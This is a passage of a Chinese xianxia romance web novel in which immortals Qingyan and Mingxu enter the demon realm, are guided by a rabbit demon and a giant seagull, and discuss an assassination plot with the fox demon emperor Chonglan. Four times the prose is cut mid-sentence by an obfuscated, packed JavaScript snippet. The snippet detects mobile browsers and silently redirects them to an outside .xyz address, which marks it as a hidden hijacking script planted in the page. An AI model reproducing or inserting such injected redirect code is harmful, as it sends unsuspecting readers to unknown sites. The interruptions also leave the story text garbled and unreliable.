明煦懵了:“啊?这么突然?” “明日正好是妖界地下黑市——幽肆每三个月开放一次的时候,”青晏答道,“我目前怀疑,可能有其他法宝也像裂魂琵琶一样流入了人界,去那里打听一下消息还是值得的。更何况我们本来就要去找妖皇谈你遇袭之事,自然是越快越好。” 明煦立即起身挪开桌椅挪出画法阵的地方,青晏却摆摆手,表示要先去找客舍老板还钥匙。然后再联系一下澈樾,让他把情况给妖界那边知会一声。 等到青晏的脚步声彻底消失在他们耳畔,唐禾这才敢对明煦小声发问:“澈樾是谁啊?” 明煦蹲着身子在地上写写画画:“哦,澈樾神君,在月下老人手底下管姻缘,是我和青晏的老朋友,长得可好看了。” “那为什么仙子要让他去知会,难不成不和妖界通讯也归他管?” 明煦连头都没抬:“这自然是不归他管的。但如果是要找妖皇本人说事儿的话,天帝都不一定有澈樾好使。” 她瞟了一眼唐禾震惊的神色,对他解释道:“因为澈樾这家伙很热爱交友,而且确实非常容易交到知心朋友。按他自己的话来说,这事儿纯纯是魅力使然,他也没有办法。还说什么这种本领天生注定,想学是学不来的,自恋得很。” “不过呢,他的朋友也确实遍布各界,什么身份的都有。而很巧的是,现在的妖皇在还是只小狐狸的时候就跟澈樾是过命的交情了,所以澈樾在他那说话绝对好使。” 唐禾惊叹的“哇”声还没来得及拖长就被青晏回来的门响打断了。 明煦闻声疑惑地抬起头:“这么快就说完了?” 青晏摊开手:“澈樾急着去骂人。” “真是我的好兄弟,”明煦感动道,“下次想嘲讽他的时候我一定忍住。” 青晏轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14174271|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑一声:“你真能忍住?” “尽量,尽量。”明煦勾完法阵的最后一笔,向青晏伸出手,“走吧美人儿,咱们一起到妖界冒险去?” 青晏笑着将手放到明煦的掌心。 ----- 在众人再一次落到结实的地面之前,率先侵入他们感知的还是嗅觉。不过这次并非浓重的血腥气,而是一股扑面而来的迷人花香。 那花香层层叠叠,随着每一次呼吸变幻着不同的芬芳,或清甜、或浓烈、或神秘,或像沾染着露珠的水果、抑或像稳重甘冽的草木。 再睁开眼时,一片一望无垠的花海就这么出现在众人眼前,数不清的各类花朵错落有致地开放着,每一朵都似乎竭尽全力地绽成了它能达到的最美的样子,却并不是为了争奇斗艳,只是为了能够尽情释放自己最澎湃的美丽与热烈。 明煦乐颠颠地跑到一株像火焰一般燃烧着的花跟前,深深地吸了一口气,却并没闻到什么特殊的香味。 她不死心地又猛吸了几口,青晏在一旁提醒道:“小心有毒。” 明煦撑着膝盖:“所以有毒吗?” “人界的这种花没有,但这里的不好说。” 明煦扭头看她:“所以我如果采一朵别在头上,是不是也有可能……” “不会的不会的!”一道有些甜糯的声音从花丛下方升起,“只要你心无歹念,这里所有的花都不会有毒的!” 众人循声看去,一只雪白圆胖的小兔子正趴在一簇青草间,有些费劲地仰头向上望着。 见到可爱的小动物,唐禾习惯性地蹲下伸手,想要去摸一摸那看着就软乎极了的兔毛毛,然而此时小兔子却突然往后一窜,给唐禾自己也惊得不由自主起身向后撤了一步。 只是过了这么短短一瞬,站在原地的就已经不是那个胖乎乎的白团团,而是一个看起来非常非常眼熟的,正对着他扬起极为耀眼笑容的少女。 和圆嘟嘟的兔妖形态不同,变身成人形的少女体态颀长高挑,五官浓艳昳丽,可那闪亮得犹如最上乘珍珠的眸子里,却溢满了和她那艳丽五官极为不符的天真和喜悦。 她双手捂着已经开始泛红的脸,激动地对着唐禾又蹦又跳:“是你!天呐,我居然能在这里见到你!” “你是……天牢外面那个小兔妖?”唐禾也很惊喜,“你现在已经没事了吧?” 小兔妖的头摇得拨浪鼓似的:“没事了没事了!自从恩人你好心救了我之后,我就完全正常了!” 她飞速地转了个圈,全方位地展示着自己灵活的身姿;“你看!我现在再好不过!” “没事就好!”唐禾高兴地点点头,“但,我不是你的恩人,那天救了你的不是我。” 他先把在天牢外救了这个被琵琶影响的小兔妖的故事,对一脸雾水的明煦与颜故讲了一遍,然后指了指在一旁饶有兴趣观看着这一切的青晏:“我目前还不会那个解除幻境的法术,所以那天是这位仙子救的你,她才是你真正的救命恩人。” 猝不及防被点到的青晏一僵。 别别别,千万别…… 37.报恩 可她的希望落空了。 小兔妖双手一展就要大拜下去,一向对此类场面接受度极低的青晏赶紧制止道:“举手之劳,千万不要在意。” “可是,可是你们救了我的命呀,”小兔子皱着眉努力思考着,“没有你们我就已经死了,死了很可怕的,所以这是最大最大的恩情了,不能不报的,否则一定会天打雷劈的!” 她又兴高采烈地转向唐禾:“而且我那天虽然被困在幻境里,但模模糊糊也能听到一些外面的动静,是你先过来想救我,我知道的!所以你和这位仙子都是我的恩人!我一定会报答你们的恩情的!” 实在不会应付这种尴尬情况的青晏手指尖都开始发麻了。 她扭头向颜故看去,十分盼望这位场面话之王能说出些什么,让她和唐禾赶紧从这“有恩必报”的小兔妖手中解脱出来。 颜故自然没有让她失望。 他带着浅浅的笑意开了口:“既然要报恩,总要告知恩人你的名字吧?” “哦哦,对!我叫阿抹!”兔妖指了指天上漂浮着的云,“一抹轻云的抹!” “好特殊的名字,”颜故挑起一弯眉毛,“家里人起的吗?” 在得到了肯定的答案后,他又问:“为什么会叫这个?” 阿抹得意地挺直了胸膛:“你们刚才都见过我的本体了吧?我的毛是不是特别好看?是不是特别毛茸茸软乎乎,像一抹超级漂亮的云彩?” 唐禾回忆了一下刚才那个小雪团子,下意识地点了点头。 “所以呀,我就叫阿抹啦!”小兔子笑得灿烂极了。 唐禾好奇道:“那为什么不叫阿云呢?” 小兔妖突然怔住了。 片刻后她垂下眼帘,小声道:“因为……我已经有一个叫阿云的姐姐了。” 唐禾猛地想起那日在天牢外她口中不断念叨着的话。 姐姐快跑,别回头。 他一下子明白了什么,心间顿时漾起一股卷着悔意的酸涩感。 阿抹低着头,脚尖在地上转来转去:“但我姐姐……已经没了。” 唐禾咽了咽口水,想去安慰阿抹,却实在不知该说些什么,只好一脸担忧地看着她继续垂头道:“我们俩当年一心想要出去闯荡,好容易才瞒过族群跑了出去,可没想到没过多久就在外面遇上了一只蛮横不讲理的狮子妖,非说我们来这个山头是要抢他的地盘。我们俩真的只是路过,可怎么解释他都不信。我姐姐为了救我……” 她抿了抿唇,没有再说下去。 “你们抢他地盘是假,他想要你们的修为是真。”颜故道。 “可能吧,”面前那株火焰一般的花在阿抹的双眸中跳动,“所以我不想闯荡了,我要回去好好修炼,绝不再离开妖界,直到能够亲手去找那狮子妖报仇的那天。” 她斩钉截铁地说完最后几个字,很快就又恢复成刚才那个笑意盈盈的样子,问着他们的来意。 “寻访旧友。”颜故笑得真诚。 “哦哦,是第一次来妖界吗?” 颜故极为自然地点头。 阿抹立即热情邀请:“那你们不如跟我走吧?这花海是我们妖皇新换的界口,没有人带路的话不太好找到正确的路进去呢。” 她扬起头,对着唐禾绽出一个热烈的笑容:“这也算是报恩的一步啦!” 唐禾立即看向青晏。 青晏想了想,拿出一张纸递给阿抹:“那麻烦你帮忙和守卫沟通一下,这是我们要寻访之人所写的担保,已经得了妖界的批准。” 阿抹接了过来:“没问题!” 灵活的小兔妖带着他们转过一簇又一簇怒放着的花,终于在一朵完全看不出有什么不同的大花上找到了一只胖得都快飞不起来了的蜜蜂。 阿抹将青晏给她的纸在蜜蜂面前展示了一会儿,又对着那蜜蜂叽叽咕咕了半天,那蜜蜂终于懒洋洋地挪了个地方,尾部的螫针精准地指向了一个方向。 阿抹坚定地朝着那个方向走过去,就算和巨石贴了个脸对脸也没有停下,随即如青晏所料般消失在了巨石之中。 巨石内传来阿抹拖得长长的声音:“快——进——来——呀——” “这巨石果然只是个障眼法。”明煦一马当先地朝巨石迈了过去,“我先去探探路!” 可待他们穿过巨石后,迎接他们的竟然只是一片荒芜泥泞,泛着淡淡死气的沼泽,连半只鸟的影子都看不见。 阿抹张着嘴愣了一会儿,颇有些尴尬地摸了摸头:“哎呀,与界口相连的地方果然又换了,这地方我没来过,还真不知道该怎么走……” “无妨,”青晏笑笑,“会有人来接的。” 像是在特意回应她的话一般,一只海鸥从天而降,精准地落在了沼泽内的一截枯枝上。 它尖尖的喙微微张开,小脑袋歪成一个十分倾斜的角度,带着就算是在鸟脸上也能看出来是在感到古怪的神色,发出了一串奇奇怪怪的音节。 明煦完全听不懂,茫然道:“它这是在说什么?” 阿抹举起手来:“它说,为什么是五个?” 唐禾惊喜道:“你能听懂它的话?” “当然呀!”阿抹一脸理所应当,“它说的是妖族通用的语言,我当然听得懂啦!” 她自告奋勇:“我来给你们传话吧!” “真是非常感谢,”青晏冲她笑了笑,“烦请帮忙问一下,它应该是能听懂我们讲话的吧?” 不待阿抹传达,海鸥直截了当地点了点头。 青晏见状便直接对海鸥问道:“那你原来以为来的会是几个?” 又是一串叽里咕噜后,阿抹转达道:“他说‘一个啊,妖皇说有一个仙子要来找他打架,让我赶紧过来接应一下,省得她找不着地方,结果现在怎么一下子变成五个?是要打群架?’” 说完之后她才反应过来,懵懵的问道:“妖皇?打架?你们不是来寻访旧友的吗?” 明煦捂着脸:“澈樾到底说了些什么呀……” 海鸥高声叫了几嗓子,阿抹勤勤恳恳地转达:“什么旧友?哪有旧友?” 青晏感觉自己头都要大了,赶紧转移话题:“是五个人带不了吗?你只能带一个走?” 海鸥激动地扑扇着翅膀,“啊啊”地大叫了几声。阿抹也十分激昂地捏紧了拳头:“他说怎么可能!再来五十个都没问题!” 海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14192193|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸥“腾”地一下飞上了天空,原本正常大小的翅膀在完全展开之后竟然巨大到能将众人头顶的日光几乎全部遮住,本就死气沉沉的沼泽顿时显得更加阴森可怖起来。 此时那海鸥的身形已变至原来的几十倍大,确实如它所说再来五十个也没问题…… 它盘旋了一圈后稳稳地停在半空中,等着青晏几人来到它的背上。 阿抹几不可查地向后退了一步,却不小心踩到了唐禾的鞋尖,于是赶紧连连道起歉来。 唐禾当然对这种小事完全无所谓,只是温柔地问道:“怎么了,是觉得有点害怕吗?” 阿抹扁扁嘴,声音小得像蚊子叫:“嗯……之前从来没见过这么大的海鸥,应该是修为很高的大妖吧,所以本能的就有点……有点害怕。” “没事,它不会伤害你的。”唐禾想了想,“你要和我们一起走吗?让它把你带出去。不然这荒郊野岭的,你也不知道该怎么从这里回你的族群。” 阿抹缓缓抬起睫毛,呆呆道:“真的可以吗?” “我去问问仙子,应该没问题,”唐禾眼睛亮闪闪的,“她人很好的。” 小兔妖乖乖点头。 “人很好”的青晏听了唐禾的话后眼神微动,几乎没犹豫便同意了。 颜故望着过去找阿抹说这个好消息的唐禾的背影,轻笑道:“仙子是被这小兔妖打动了?怎么如此轻易地就让它也跟过来?” “轻易吗?”青晏瞥了他一眼,“明知故问。” 颜故微微挑眉:“仙子怎知我是明知故问?” “别以为我没看见她传话时候你审视的眼神,”青晏慢悠悠道,“你听得懂妖族语言吧?” 颜故笑着望进青晏的眼眸:“仙子不是也懂?” 现在换成是青晏用略带审视的目光在颜故脸上滚了一圈,随即面上浮起一丝微妙的笑意,转身登上了海鸥宽阔的背。 明煦虽站得不太远,但奈何他们俩说话的声音实在太小了完全听不清楚,而她又实在好奇这两个人到底在叽叽咕咕些什么,于是三步并作两步跟着青晏上了海鸥的背,贴在她耳边小声道:“你们俩聊什么呢?” “没什么,”青晏顺手摸了把海鸥油光水滑的羽毛,“就是感叹了一下妖皇真的是十分热情,我们十分感动。” 明煦怀疑地眯起眼。 看你们俩的表情,也不像是在聊这个啊? 可她看了看在唐禾的帮助下好容易爬上来的小兔妖,又看了看身下巨大的海鸥,很快便反应过来青晏此刻说不定是不方便说实话,于是很聪明地闭上了嘴。 海鸥吱哇叫了几声,见他们几人均已坐稳,一个忽闪就飞了起来。 阿抹在呼啸的风中艰难地喊道:“他说——我们妖界地大物博——自然是要对外界的朋友——热情的——但魔界的除外——” 青晏笑了笑:“实在有劳了,但现在风大,阿抹姑娘快歇一歇吧,小心吃风。” 阿抹毫不在意地摇摇头:“没关系——你们是我的恩人——” 青晏努力扬起一个看起来不太敷衍的笑容,内心暗暗叹气。 怎么三言两语又说回报恩的事了,这小兔妖还真是执着…… 38.妖皇 途径一片比较繁华的地带时,海鸥将认出如何回到自己族群的阿抹放了下去,随即大翅膀扑腾一扇,带着他们继续向远处飞行。 又过了好一会儿,似乎已经转过了十几个山头,海鸥终于有了降落的意思。 明煦感觉自己的脸都要被这一路上的大风吹皱了,情不自禁地对着海鸥抱怨道:“你们妖皇居然就住在深山老林里?不是应该起码好好修个宫殿什么的,然后周围有八百个侍从伺候吗?” 海鸥嘴里又冒出一堆叽里咕噜的音节。 明煦“啊”了一声,下意识地噘起嘴来:“哎呀,我说这些干嘛,阿抹又不在,你说话我也听不懂。” 话音刚落,一道念头就出现在了她的脑海中:“它说,他们妖皇平时不住这里,今日来到此处本是为了散心,但现在看来,这地方也还蛮适合你们打架的,实在是有缘。” 明煦瞬间转身看向青晏,眼珠子都快瞪出来了。 原来你会妖族语言啊!那你刚才让阿抹传话是干什么呢! 青晏看她的表情就知道她在想些什么了,于是又向她发来一道传念:“装作听不懂,才能掌握主动。” 明煦努力消化着。 也对,他们毕竟初来乍到,是该有些戒心的。如果阿抹或者海鸥任何一方有坏心思,仗着他们之间的对话这几个神仙完全听不懂而说些有的没的,他们几个也好可以提前有个准备。 她突然想起来青晏和颜故方才意味深长的眼神交流。 所以刚才是这俩都揣着明白装糊涂的人在互相确认彼此的结论? 再一次,青晏像勘破了她内心所想一般发来一道传念:“你猜得对。” 明煦惊呆了,立刻传念追问道:“你怎么会知道我在想什么?!” 青晏哭笑不得:“你的眼神在我和颜故之间转来转去,然后做出一副恍然大悟的表情,换谁来都能猜个八九不离十吧?” “但你这也不是八九不离十呀,你这是百发百中……” “毕竟你是我最好的朋友,我怎么着也该是了解你的吧?” 这么一来一回传念沟通了几波,海鸥的翅膀忽闪得越来越慢,越来越慢,直至稳稳地落在地面。 它昂起头冲着远处的高坡发出一声悠长的鸣叫,随即二话不说地恢复成了正常大小,拍拍翅膀就飞走了。 “啊?”明煦迷茫地冲着它的背影问道,“不留下来等一下你们妖皇吗?” “妖界一向崇尚自由,活干完了就走乃是天经地义呀。”一个懒洋洋得似乎刚从睡梦中清醒过来的声音,从高坡的方向慢悠悠地飘了过来。 随着声音一起飘过来的,还有一个俊美得有些离奇的男子。 纵然他身形高大,周身也萦绕着无法被忽视的熠熠霸气,一头显眼的银色长发更是如月光般柔顺地披在他宽阔的肩膀上,可无论谁第一眼看过去,都只会注意到他那张天下绝无仅有的俊秀脸庞。 好看到明煦都有些呆了。 她不禁开始沉思,难道妖界是靠美貌选老大的? 话说也不知道书云排的那个各界郎君相貌榜里到底有没有这位妖皇,如果没有,那回去说什么也要让她加上,还要盯一下排名,这张脸排不到前十是绝对不行的…… “不,妖界不是靠美貌选的妖皇,但你能这么想,我很高兴。”妖皇笑眯眯道,“我是崇岚,幸会。” 怎么又来一个能看明白我心里在想什么的?! 明煦先是沉浸在自己实在是太会用脸说话了的懊恼中,过了一会儿才意识到自己竟然听懂了这位妖皇所说的话。 他说的竟然是天界语言! “啊,大海子说你们听不懂妖族语言,而我恰好会一点天界话。”崇岚彬彬有礼地一点头,“毕竟希望你们宾至如归嘛。” 明煦指着已经变成天空里一个小黑点的海鸥:“那就是大海子?” 在得到了肯定的回答之后,明煦抿了抿嘴:“真是一个,朴实生动的好名字……” “燃乐仙姬的名字也不错啊。”崇岚冲她眨眨眼,“温暖明亮,让人倍感亲切。” 接着他转向面色淡然的青晏:“终于见面了玄镜仙子,久仰。”眉眼深邃的妖皇笑得勾魂摄魄,“要现在就开打吗?我保证绝不还手。” 青晏露出一个得体的微笑,直视着崇岚道:“许是澈樾转达有误,我们没有此等意思,只是想和妖皇好好聊一聊。” “是要好好聊一聊的。”崇岚颔首道,“我听说仙姬遇袭一事也十分震惊。” 他的视线扫过颜故与唐禾,目光在颜故的身上额外多落了落:“这二位是?” 青晏先是介绍了一下他们的名字,然后道:“天界的新仙使,此番与我们一起外出历练。” 崇岚十分友好地对他们点了点头,随即眸光一转,含笑对颜故发出了一个惊天提问:“不知颜仙使可曾婚配?” 唐禾立即呛咳起来,明煦连人带魂都陷入了迷茫,就连青晏面上也罕见地出现了震惊的神色,而被迎面问了这样问题的颜故却稳稳立在原地,云淡风轻道:“未曾。” 崇岚十分满意地“哦”了一声,然后道:“那你目前可有伴侣或是……意中人?” 许是被四双眼睛齐齐盯着让颜故感觉有些不太舒服,他沉默了极短的一瞬后才道:“没有。” 风流倜傥的妖皇闻言欣慰地一拍手:“那正好。” 明煦颤颤巍巍道:“正好……什么?” “在下有个亲妹妹,长得极美,可眼光颇高,就连我们这种盛产美人的狐族里,都一直没有她能看得上的小伙子。我瞧颜仙使模样长得甚好,看你周身气度,想来将来也绝非等闲之辈。所以若仙使不介意,可愿与在下的妹妹见上一面?” 明煦赶紧低下头去,眼观鼻鼻观心,忍住自己正不断翻涌上来的笑意。 还好,还好,原来是替自己妹妹问的,不然她还以为颜故魅力已经大到连妖皇都能一见面就拿下。 不过谁能想到妖界之主竟然热爱说媒?该不是和澈樾一起待久了,被染上了什么奇怪的习惯吧? 颜故转头看向青晏,见她面上也带着和明煦与唐禾一样对他可能的回答十分好奇的神色,不知怎的,心头突然冒出一缕极为微弱的火气。 但他还是冷静地回道:“十分感谢您的抬爱,但我目前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14209340|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对……” 崇岚潇洒地一摆手:“不必再说了,我懂。年轻人嘛,想先奔前程很正常。” 他转身对青晏虚虚地伸了伸手,面上的神情也变得认真起来:“那么二位仙子,我们找个僻静地方好好聊聊?” 颜故与唐禾对视一眼,跟着前来接应的侍女去到了别处,原地只余下崇岚与青晏明煦三人。 一阵细微的风掠过耳畔,转眼间他们已经置身于方才妖皇歇息的高坡上,周围细草茸茸,看着就柔软非常,让人情不自禁生出一股想在上面打滚的冲动。 只要别滚反了掉下悬崖就行。 崇岚招呼她们坐下,随即变出一套小炉子小架子小锅子小杯子,美滋滋地煮了起来。 明煦伸头看了一眼,见里面漂浮着十数个红彤彤的小果子和七八片已经开始变黄的叶子,十分感兴趣地问道:“这是什么?” “正当季的阿赛果,配一点奇奇叶,煮出来酸酸甜甜的,好喝得很。”顶着一脸极为嚣张的美貌的狐狸躬身在锅里戳了戳,“之前每次澈樾来的时候都点名要喝这个,你们既然是好朋友,说不定口味也比较相似,不妨尝尝?” 他微微窝着身子,眉眼如画的脸上带着温暖的笑意,仿佛他不是妖界唯一的主人,对面这两个也不是因为被妖族遇袭而前来讨要说法的异界人士,而只是朋友的朋友,理应被热情地好好对待。 饶是心坚如铁的青晏,此时态度也不禁有所缓和,浅笑道:“不知此前澈樾到底怎么说的,我们专程前来打架这个误会怕是有点大了。” 崇岚心有余悸地摇摇头,仿佛要把萦绕在他脑海里的澈樾的尖叫甩出去一般:“他上来先是大喊大叫,问我是不是悠闲日子过久了管不住底下人了,实在不行让他过来给这些人紧紧皮子,给我问得是一头雾水。” “然后他才告诉我发生了什么,接着通知我你们二位要往我这边来,让我做好准备。还说要不是他现在手头事情有点多,一定先冲过来揍我一顿……嗯,差不多就这些。” 明煦有些尴尬地低头咳了一声:“是有些像澈樾能说出来的话,哈,哈哈……” “仙姬不必往心里去,我们俩经常对骂,这种程度不痛不痒,”崇岚将煮好的阿赛果汤给她们俩递过去,又顺带着轻轻挤了挤眼,“别外传就好。” “自然。”青晏点头。 她在拂面的微风里饮下一口阿赛果汤,略有些惬意地闭了闭眼。 澈樾这家伙果然是个会吃的,怪不得每次来妖界都要点名喝这果汤。等离开妖界之前自己一定要买上一些带回去,说不定如樱如桃也会爱喝。 不过之后的事还是之后再说,现在最要紧的是明煦遇袭一事。 她放下杯子,将明煦遇袭的所有细节一一告知给了崇岚,然后道:“那树妖被杀前所说的话完全是无效信息,只能证明这是一场雇凶杀人,却无法从那些话里分析出背后买凶者是谁,所以我们目前只能从其他的角度入手,还希望您能提供帮助。” “澈樾的朋友就是我的朋友,既然都是朋友,您来您去的没有必要,叫我崇岚就行。”崇岚毫不在意地挥挥手,“想让我提供什么帮助?” 39.心思 “那我便直接请教了,”青晏莞尔,“在我的了解里,不怕火的树妖确实少见,我想知道这种本事是它独有,还是他们那一族都如此?” 崇岚思忖了片刻,告知她应是铁木一族,他们那一族确实都比较皮糙肉厚,相对于其他花草树木来说是更耐火一些。 不过若说完全不怕,反而喜火到在火里会更加游刃有余,便绝非是一般草木类妖族所能达到的了,就算是铁木一族也不行。 他微微眯起眼:“那个袭击仙姬的树妖,绝对是个非常特殊的存在。” 青晏瞟了一眼抱着杯子认认真真听着他们讲话的明煦,眼底逐渐漫起阴霾。 所以那个买凶者,是特意选择了这个特殊的树妖去袭击擅长火法的明煦,为的就是降低她的戒心,以为用火可以轻松解决,却没想到反而会助长此妖功力。 崇岚也认同她的想法,并表示会去调查一下这个树妖,以及找到牵线搭桥的中间人。这样说不定就能够顺着他,找出那个深深隐匿在幕后的买凶者。 青晏对此却并不乐观:“可那买凶者连对没见过他面的树妖都下了禁制,难道就会对那个见过他的中间人手下留情?说不定此时那个中间人也已经惨遭不幸了。” “没关系,”崇岚泰然道,“活着有活着的查法,死了也不是完全束手无策。” 青晏笑了笑:“这我倒是相信。不过关于那个禁制,我还有一个问题。” 崇岚做出一副倾听的样子。 “据我所知,想要成功下出这样的禁制,所需材料里至少需要有五根百年以上的渡生藤。然而此藤本就是稀罕之物,只能在妖界生长不说,存活条件又极其艰难,更别提早早就被各界列为了禁物,想来世间应该没多少留存才是,怎么会被那买凶者一口气找到五根?” 崇岚的眼神飘忽了一下。 其实那只是一道很微弱,很短暂的飘忽,然而却被青晏立即抓住:“是有什么想说的吗?” “咳,”崇岚握拳在唇边轻咳了一声,突然对她们俩问出了一个风马牛不相关的问题,“你们觉得这阿赛果汤好喝吗?” “好……喝?”明煦不确定道,有些心虚地挠了挠杯壁。 她嫌有点烫,还一口都没喝呢。 “其实……”崇岚望着锅里仍在咕嘟咕嘟地冒着小泡的阿赛果汤,“阿赛果就是渡生藤上结出来的果子。” “什么?!”明煦登时感觉自己脖子都有点硬了。 她仔细地将杯子里浅红色的漂亮液体仔细看了又看,然后谨慎地对崇岚问道:“你煮的这份汤,喝了会有什么作用?” 崇岚非常爽快地干了一杯,向她展示自己空空的杯底:“除了好喝,真的没有别的什么作用。想要渡生藤和阿赛果发挥其他的功效,可不是简单煮一煮就能行的。” 青晏用一种很微妙的眼神看着崇岚:“所以妖界的渡生藤和阿赛果,都进献给了你?” 崇岚看懂了她的眼神,接着耸了耸肩,表示虽然也不是完全没有这个可能,但从他这流出去的可能性不大,毕竟这东西既然是禁物,那么一定有人私下里在做这门生意。 他翘了翘唇角:“幽肆开放在即,仙子亲自前来妖界,应该也是为了一探究竟吧?” 青晏大大方方地承认了:“自然也有这样的想法,但主要还是希望此次前来能在妖皇这里解惑,以及……得到一个承诺。” 崇岚轻笑一声:“我明白仙子想要什么承诺。这个承诺我可以给,你想在幽肆查的事,我也可以答应让你放手去查。但你们毕竟并非妖界中人,不适合长久逗留于此,我们就以七日为限,如何?” 青晏闻言有些讶异。 妖界自一万年前在魔界的入侵下陷落,连当时的妖皇也死于那场混战中后,早已在新妖皇崇岚的带领下变得壁垒森严,固若金汤。 原来诸多通往妖界的入口几乎大半都被关闭,剩下的几个也颇为隐蔽,外人极难进出。 而若无特殊必要,整个妖界也不允许外族停留超过一天,所以青晏本以为他们最多只能在妖界停留到幽肆开放后的明天,却没想到崇岚竟慷慨地给出了七日。 她郑重地向崇岚表达了感谢,崇岚却道不管是不是雇凶杀人,明煦都是被妖族袭击的,这点责任他们总该担起来。 况且妖界从前受了天界不少帮助,而他们又同为澈樾挚友,所以就算此次动手的不是妖族,只要天界需要,能帮上忙的地方妖界都一定会全力以赴。 青晏闻言正色道:“妖界如此慷慨仁义,真是令人深感敬佩。我们定会铭记在心,将来全力回报。” 俊美的妖皇微微一笑,银色长发在拂面的暖风中闪烁出细碎的光泽,就好像连风和阳光都情不自禁地被他的美貌所吸引,倾尽所能地想要将他的容颜变得更加闪耀。 而他也像知道自己长得究竟有多么美丽一般,动作优雅地将额前的发丝撩到一边,慢条斯理道:“好说,好说。” 明煦满面春风地欣赏着眼前这幅美男撩发图,连之前想去见各界郎君相貌榜第二十四位的玉面夫子的念头都淡了不少,甚至开始思考要是颜故方才答应了去见崇岚的妹妹该多好,这样就又能多看一个美人儿了。 从小到大看尽了周围人倾慕于他的眼神该是什么样的崇岚,一眼便看穿了明煦眼中闪烁着的,只是对他外貌单纯的赞叹与欣赏而已。 而青晏从始至终的眼神就更让狐感到有些落寞——完全公事公办,连一丁点儿多余的因为他无与伦比的美貌而产生的赞赏都没有。 果然还是很难抗拒想要用美貌征服所有人的天性啊…… 受挫的狐狸在心中暗暗叹了口气,随即决定等下再去给自己从头到脚做一套全身护理。 青晏当然感知不到他内心小小的哀怨,一脸严肃地对崇岚道:“另外关于此次遇袭,恐怕买凶者也有一定可能并非是为了个人恩怨而来,而是意图挑拨天妖两界。” 崇岚闻言无声地露出一个胸有成竹的微笑,悠然道:“仙子所言之意在下明白,这就是为什么我会给出仙子想要的承诺。无论是哪方势力想在背后挑拨,妖界从此均不会让他们如意。我会让整个妖界都明白,不是什么活都能接。” 他转眼望向远方,声音里透着令人完全无法忽视的威严与锋芒:“妖界已今非昔比,万年前的遭遇绝不会重演。无论是谁,无论什么样的手段,妖界都已做好万全准备,随时可以接招。” 青晏看着他如山峦般沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14233117|148307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳的背影,犹豫着要不要将那封写着魔界将要起事的信告知崇岚。 这位妖皇今日对他们来说可谓是极为热情诚恳,但妖界能在他的治理下,从饱经内斗之苦和魔界屠戮的一片混乱中迅速恢复,又逐渐演变成如今这幅铜墙铁壁的森严模样,此人绝对有着雷霆手腕以及莫测的城府。 所以那封本就是从妖族手中得来的信件有可能是崇岚为了掩饰自己的野心从而故意布下的疑阵吗? 青晏最终还是没有说出口。 ----- 远处一个温暖干燥的山洞里,颜故侧身立在洞口旁,眉间氤氲着一股沉郁之气,而唐禾则是非常老实地坐在洞里的石凳上,一声不吭。 他也没法吭声,虽然旁边那两个带他们过来的侍女一直聊得很欢,但奈何自己一个字都听不懂,看来是时候找时间学习一下妖族通用语言了。 唐禾下定决心。 他实在有些无聊,想找颜故说说话,但见颜故似乎看起来有些不耐烦的样子,似乎也不太方便打扰他,于是只好依旧百无聊赖地坐在原地。 而此时的颜故确实很不耐烦。 他看着远处山坡上的貌美妖皇在与青晏把酒言欢,耳边听着那两位妖族侍女的叽叽喳喳,心中那股原本极为微弱的火气渐渐越来越高。 那两个侍女到底什么时候才能闭嘴?还好唐禾听不懂她们到底在说什么,否则…… 颜故站得更靠外了一些,然而那两个侍女的声音仍然能飘到他的耳边。 “好看,真是好看,跟咱们妖皇不一样的好看,神仙果然是有股那个劲儿啊,是吧?”音色有些娇俏的侍女道。 另一个有一点细的声音打趣道:“你光在这看有什么用,直接问他要不要和你双修呗,说不定他就答应了呢?” “神仙脸皮薄,肯定不会答应,等下给惹生气了就更没得看了,还不如现在多看几眼过过瘾,等晚上梦里相会也不错。” “你呀,没劲,”细细的声音说道,“你不敢的话,我去问,不问怎么知道呢?就算被拒绝了,结果也还是和没问一样,但万一就成了呢?你管他脸皮薄不薄,先为自己争取再说嘛!” 